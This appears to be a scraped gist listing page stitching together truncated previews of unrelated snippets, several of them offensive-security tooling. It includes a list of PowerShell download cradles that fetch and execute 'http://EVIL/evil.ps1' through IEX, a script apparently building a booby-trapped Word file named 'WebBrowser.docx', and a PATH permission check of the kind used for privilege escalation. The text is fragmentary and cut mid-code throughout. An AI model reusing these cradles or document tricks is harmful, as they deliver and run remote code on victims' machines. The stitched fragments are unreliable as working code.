Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000| # target file path | |
| $filename = [Environment]::GetFolderPath('Desktop') + '\WebBrowser.docx' | |
| # path to open | |
| #$path = 'c:\windows\system32\calc.exe' | |
| $path = 'https://securify.nl/blog/SFY20180801/thisisfine.url' | |
| # the temp file is used for creating the icon | |
| $tmpfile = "$env:TEMP\Totally Safe.txt" |
| import sys | |
| import re | |
| if len(sys.argv) <= 1: exit() | |
| scriptpath = sys.argv[1] | |
| with open(scriptpath, 'r') as scriptfile: | |
| script = scriptfile.read().replace('^', '') | |
| p = re.compile('\([Ss][Ee][Tt][^=]+=([^&]+)&&') | |
| s = p.search(script) |
| If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { | |
| Write-Warning "This script will not function with administrative privileges. Please run as a normal user." | |
| Break | |
| } | |
| $outfile = "acltestfile" | |
| set-variable -name paths -value (Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment' -Name PATH).path.Split(";") | |
| Foreach ($path in $paths) { | |
| # This prints a table of ACLs | |
| # get-acl $path | %{ $_.Access } | ft -Wrap -AutoSize -property IdentityReference, AccessControlType, FileSystemRights |
| <?xml version="1.0" encoding="utf-8"?> | |
| <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ac="http://schemas.microsoft.com/Search/2013/SettingContent" targetNamespace="http://schemas.microsoft.com/Search/2013/SettingContent" elementFormDefault="qualified" > | |
| <xsd:annotation> | |
| <xsd:documentation xml:lang="en">Copyright (C) Microsoft. All rights reserved. | |
| Searchable setting content file schema. | |
| </xsd:documentation> | |
| </xsd:annotation> | |
| <xsd:element name="SearchableContent" type="ac:SearchableContentType"/> | |
| <xsd:complexType name="SearchableContentType"> | |
| <xsd:sequence> |
| #requires -module ActiveDirectory | |
| # Input computers. | |
| $threshold = (Get-Date).AddDays(-180) | |
| $computers = Get-ADComputer -Filter { OperatingSystem -notlike "*server*" -and OperatingSystem -like "*windows*" -and PasswordLastSet -gt $threshold } | | |
| Select-Object -ExpandProperty Name | | |
| Sort-Object -Property Name | |
| # Make sure there are not existing jobs. | |
| Get-Job | |
| #!/usr/bin/env python2 | |
| import os | |
| import re | |
| import sys | |
| import math | |
| import pefile | |
| import struct | |
| import hashlib | |
| import argparse | |
| from oletools import olevba |
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000| # I needed to print out ascii tables from data in the form: | |
| # [ ('column 0 title', 'column 1 title' ..), | |
| # ('row 0, column 0 data', 'row 0, column 1 data' ...) ...] | |
| # | |
| # and surprisingly it got complicated because of variable lengths of the data. | |
| # I googled for 'standard' ways of doing this and I found suggestions like: | |
| # http://stackoverflow.com/questions/5909873/python-pretty-printing-ascii-tables | |
| # ...which were a bit dated and hard to read or full scale modules like: | |
| # | |
| # http://pypi.python.org/pypi/texttable/ |
| #!/usr/bin/python | |
| """Convert CSV table to MindMap format | |
| Usage: python csv_to_mm.py sometable.csv > mymap.mm | |
| CSV format is rows representing tree leaves, e.g.: | |
| A1, | |
| A1,B1 | |
| A1,B1,C1 | |
| A1,B1,C2 |